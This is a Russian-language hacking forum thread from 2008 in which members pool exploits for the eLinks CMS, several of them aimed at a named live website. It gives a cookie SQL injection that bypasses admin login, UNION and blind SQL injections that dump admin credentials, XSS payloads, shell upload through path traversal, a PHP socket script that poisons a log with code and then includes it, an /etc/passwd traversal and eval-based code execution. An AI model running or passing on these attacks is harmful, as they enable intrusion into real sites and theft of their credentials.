Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

12.12.2008, 18:28
|
|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
[eLinks] Vulnerabilities
[eLinks] Vulnerabilities
Собственно, задание ROA#004 подтолкнуло к поиску багов в этой CMS.
В этой теме предлагаю выкладывать баги найденные в ходе исследования исходников.
------------------------------------------------------------------------------
#1 [ Обход авторизации ]
Необходимое условие: magic_quotes_gpc = Off
Первым делом я решил проверить панель логина админки ( http://[elinks]/asm_admin.php) на предмет фильтрации полей. Но, к сожалению, все POST-данные фильтровались встроенной функцией setGPC.
[core/asm_config.php]
PHP код:
function setGPC (&$array)
{ // begin function: setGPC
foreach ($array as $key => $value) {
if (true == is_array($value)) {
setGPC($array[$key]);
} else {
$array[$key] = addslashes($value);
}
}
reset($array);
} // end function: setGPC
---------------------------
if (!get_magic_quotes_gpc()) {
setGPC($_POST);
reset($_POST);
}
Как мы видим, фильтруются только POST-данные, что не может не радовать. Тогда я принялся исследовать алгоритм аутентификации (опознавания пользователя).
[core/asm_function.php]
PHP код:
function auth ()
{
global $api;
$session = @$_COOKIE['acore'];
if ($session != '' && $session != '-1')
{
if (true == isset($_SESSION['user']['groups'])) { return true; }
$rs = $api->DB->query("SELECT * FROM asm_s_members WHERE session = '".$session."' LIMIT 1");
if ($rs->count() == 1)
{
$_SESSION['user'] = $rs->row();
$api->DB->query("UPDATE asm_s_members SET atime = '".time()."' WHERE session = '".$session."' LIMIT 1");
return true;
}
}
setAuth(0);
}
Аутентификация осуществляется по COOKIE-переменной acore.
Задав этой переменной значение
word' OR member_id = '1
Получаем запрос
SELECT * FROM asm_s_members WHERE session = 'word' OR member_id = '1' LIMIT 1
Так как сессии с именем ' word' существовать не может, происходит выборка данных администратора (member_id=1).
Обновляем страницу и оказываемся в админке.
В итоге, не зная даже логина, мы можем зайти под любым пользователем.
|
|
|

12.12.2008, 18:47
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Ну я проходил без сорцов, поэтому получилось очень не красиво и геморно)
#2 Слепая скуля в поиске
Необходимое условие: magic_quotes_gpc = Off
http://www.***.com/eLinks-search.php?action=search&word=asian'+or+1=1+and+su bstring(version(),1,1)=5--+1
Заливка шелла:
В админке заходим в редактор темплейтов, редактировать темплейты прав не хватает, но с его помощью можно создавать файлы:
В сорцах в форме меняем скрытое поле с именем файла на: <input type="hidden" name="template_name" value="../../../../../home/tgp/***/links/1.php">
Получаем шелл.
Последний раз редактировалось Grey; 12.12.2008 в 19:14..
|
|
|

12.12.2008, 18:53
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме: 5111568
Репутация:
2399
|
|
xss:
/v2/searcherror.php?errormsg=<script>alert(/asd/);</script>
|
|
|

12.12.2008, 19:02
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме: 7229141
Репутация:
3099
|
|
Еще вариант.
Имеется файл .htaccess смотрим пути,
в нашем случае была такая строчка
...modules/content/pub.content.php?url=/celebs/view&view=[sql inj]
пример рабочего запроса
PHP код:
http://yobt.com/modules/content/pub.content.php?url=/celebs/view&view=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat(user_login,3x0a,user_pass),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+asm_s_members+limit+0,1/*
Получаем логин и пас админа. если не единственная запись, то выводим через limit (в нашем случае три записи юзверей+ анонимус)
Последний раз редактировалось xcedz; 12.12.2008 в 19:05..
|
|
|

12.12.2008, 19:02
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
eLinks-search.php?action=result&word=%3Cscript%3Ealert('x ss');%3C/script%3E&user_key=1601668980&page=1&pages=-0
xss
|
|
|

12.12.2008, 20:35
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
Сообщение от xcedz
[INDENT]Еще вариант.
Имеется файл .htaccess смотрим пути,
в нашем случае была такая строчка
...modules/content/pub.content.php?url=/celebs/view&view=[sql inj]
угу, только по дефолту там в
./modules/.htaccess
PHP код:
Options -Indexes
php_flag short_open_tag Off
<Files *.php>
Order deny,allow
Deny from all
</Files>
<Files *.ini>
Order deny,allow
Deny from all
</Files>
<Files pub.*.php>
Order deny,allow
Allow from all
</Files>
так что по дефолту вряд ли такое пройдет =)
теперь мое прохождение:
Elinks LFI
1. Логинимся в asm_admin.php с любым логином и паролем;
2. получаем сообщение о неверном пароле, но, тем не менее, $_SESSION['user']['member_id']) становится равным 0
3. ./core/asm_config.php
PHP код:
if ( strpos($_SERVER['HTTP_USER_AGENT'], 'vdebug') ) { set_error_handler('error_handler'); }
function error_handler ($errno, $errmsg, $filename, $linenum, $vars)
{ // BEGIN function
if ($errno == 2048 || error_reporting() == 0) { return true; }
$error_file = $_SERVER['DOCUMENT_ROOT'].'/files/logs/error.xml';
$_request_url = (true == isset($_SERVER['REQUEST_URI'])) ? 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] : 'http://'.$_SERVER['HTTP_HOST'].'/';
$_http_referer = (true == isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : '';
$_remote_addr = (true == isset($_SERVER['REMOTE_ADDR'])) ? $_SERVER['REMOTE_ADDR'] : '';
$_http_user_agent = (true == isset($_SERVER['HTTP_USER_AGENT'])) ? $_SERVER['HTTP_USER_AGENT'] : '';
$error_content = '
<error date="'.date("Y-m-d H:i:s").'">
<request_url>'.$_request_url.'</request_url>
<http_referer>'.$_http_referer.'</http_referer>
<remote_addr>'.$_remote_addr.'</remote_addr>
<http_user_agent>'.$_http_user_agent.'</http_user_agent>
<error_number>'.$errno.'</error_number>
<error_message>'.$errmsg.'</error_message>
<file_name>'.$filename.'</file_name>
<line_number>'.$linenum.'</line_number>
</error>
</xml>';
$fp = @fopen($error_file, 'r+');
if ($fp) {
$cursor_position = filesize($error_file)-7;
fseek($fp, $cursor_position);
fwrite($fp, $error_content);
fclose($fp);
} else {
$fp = fopen($error_file, 'w');
if ($fp) {
fwrite($fp, "<xml>\n".$error_content);
fclose($fp);
}
}
4. под этот код небольшой хттп-пакет с помощью скрипта
PHP код:
<?
set_time_limit (0);
$site='yobt.com';
$path='/asm_admin.php?update=1';
$fp = fsockopen($site, 80, $errno, $errstr, 30);
$out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: Opera vdebug <?php phpinfo() ?>\r\n"; //тут наш код для инклуда
$out .= "Referer: http://laa.com\r\n";
$out .= "Cookie: 1=2;\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp))
{
print fread($fp, 4800);
}
print $out;
?>
вместо asm_admin.php?update=1 другой любой файл, который генерирует ошибку похапе (для данного сайта подойдет http://yobt.com/asm.pornstars.search.php);
5. наше пхпинфо, как и прописано в коде, добавляется в ./files/logs/error.xml;
6. в ./asm_clean.php успешно проходим авторизацию
PHP код:
if (isset($_SESSION['user']['member_id']) != '1' && SERVER_IP != $_SERVER['REMOTE_ADDR']) {
die('Access denied');
}
(так как логинились ранее в админке и переменная $_SESSION['user']['member_id'] существует);
7. идем ниже по коду и видим
PHP код:
if (false == isset($_GET['asm'])) { die('Map command not found'); }
$file = base64_decode($_GET['asm']);
...
include(PATH.$file);
8. остается только заинклудить наш error.xml =)
по ссылке http://yobt.com/asm_clean.php?asm=L2ZpbGVzL2xvZ3MvZXJyb3IueG1s видим вывод пхпинфо (если, конечно, авторизовались, как я писал выше)
---------------
Elinks arbitrary code execution
(для данного сайта не подойдет, так как админы из дистрибутива удалили дефолтный файл ./core/asm_xml_content.php, но все же)
1. ./core/asm_xml_content.php
PHP код:
<?php
error_reporting(7);
$page = (true == isset($_GET['page'])) ? $_GET['page'] : 'index';
$page = $_SERVER['DOCUMENT_ROOT'].'/files/tpl/'.$page.'.xml';
if (true == file_exists($page)) {
$filemtime = filemtime($page);
$filemtime = ($filemtime > 10000) ? $filemtime : time()+3600;
$fp = fopen($page, 'r');
$content = fread($fp, filesize($page));
fclose($fp);
$content = "?>".$content."<?php ";
ob_start();
eval ($content);
2. Добавляем в ./files/error.xml наш похапе способом, описанным выше;
3. Выполняем наш код через http://elinks/core/asm_xml_content.php?page=../logs/error
Последний раз редактировалось M4g; 12.12.2008 в 20:41..
|
|
|

12.12.2008, 20:59
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме: 13395217
Репутация:
2097
|
|
Локальный инклуд
core/xmlrpc.php
PHP код:
$xmlrpc_server = trim( $_GET['xmlrpc_server'] );
$uri = parse_url( $_SERVER['REQUEST_URI'] );
if ( $uri['query'] )
{
parse_str( $uri['query'], $_GET );
}
if ( true == is_file( PATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" ) )
{
include_once( PATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" );
Как мы видим данные из $_GET['xmlrpc_server'] без какой-либо фильтрации попадают в инклуд
Пример запроса:
Код:
http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=eLinks/../../../../../../etc/passwd%00a
Поскольку elinks записывает обращения к несуществующим страницам в файл, в него можно записать свой шелл(через user agent) и проиклудить:
Код:
http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=../files/logs/log.404.txt%00a
|
|
|

13.12.2008, 14:42
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
Залить шелл можно также через Content Manager->Content Blocks
Добавляем новый блок:
Name: whatever
Alias: s.php
Content: <?php phpinfo(); ?>
Status: inactive
Получаем шелл: /files/blocks/.s.php
Правда на yobt.com не работало
|
|
|

13.12.2008, 17:45
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме: 13395217
Репутация:
2097
|
|
Еще одна скуля в поиске:
Код:
http://yobt.com/eLinks-search.php?action=result&word=asian&user_key=162280130111'+union+select%201,concat_ws(0x3a,user_login,user_pass),3,4+from+asm_s_members/*
|
|
|

15.11.2009, 19:49
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Привет из РОА. Кому интересно, было перемещено очень много тем, но они ушли вниз по датам, можете покопаться в созданных у мемберов, теперь они видны.
Ну а эту я апнул вот для чего:
http://www.packetstormsecurity.org/0908-exploits/elinks-sqlxsslfi.txt
Сравните темы. И это не единственная
====================
Inj3ct0r чмоке тебя в счоке. Всё что ты выложил под своим именем у себя и ещё где, я из группы спустил в паблик, хакер, блин. Надеюсь по датам все всё видят сами
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|